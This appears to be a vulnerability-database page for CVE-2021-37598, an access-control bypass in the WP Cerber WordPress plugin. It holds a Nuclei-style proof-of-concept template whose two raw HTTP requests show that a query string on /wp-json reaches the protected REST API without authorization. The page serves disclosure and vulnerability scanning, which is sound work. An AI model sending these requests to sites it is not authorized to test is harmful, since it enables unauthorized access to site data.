CVE-2021-37598: WP Cerber < 8.9.3 - Broken Access Control

2026-01-16 WP Cerber PoC Public

Description

WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints. The exploit requires sending a request with a trailing '?'.

PoC

id: CVE-2021-37598

info:
  name: WP Cerber < 8.9.3 - Broken Access Control
  author: theamanrawat
  severity: medium
  description: |
    WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints. The exploit requires sending a request with a trailing '?'.
  impact: |
    Unauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to version 8.9.3 or later.
  reference:
    - https://github.com/mandiant/Vulnerability-Disclosures/blob/master/FEYE-2021-0024/FEYE-2021-0024.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37598
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-37598
    epss-score: 0.0235
    epss-percentile: 0.83165
    cwe-id: CWE-863
  metadata:
    verified: false
    max-request: 2
    vendor: wp-cerber
    product: wp-cerber
  tags: cve,cve2021,wordpress,wp-cerber,access-control,rest-api,exposure,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403 || status_code == 404'
        internal: true

  - raw:
      - |
        GET /wp-json?x=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"name\":", "\"url\":", "\"home\":", "\"description\":")'
          - 'regex("(?i)application/json", header)'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220471f100336be412a55ab3adc0228eb95e80d5439e8830a0f817c214fd7ddb05a022100ab84217b75397be17bca607c65415eaa55ae0c109d4004449c2b134ca298fef7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities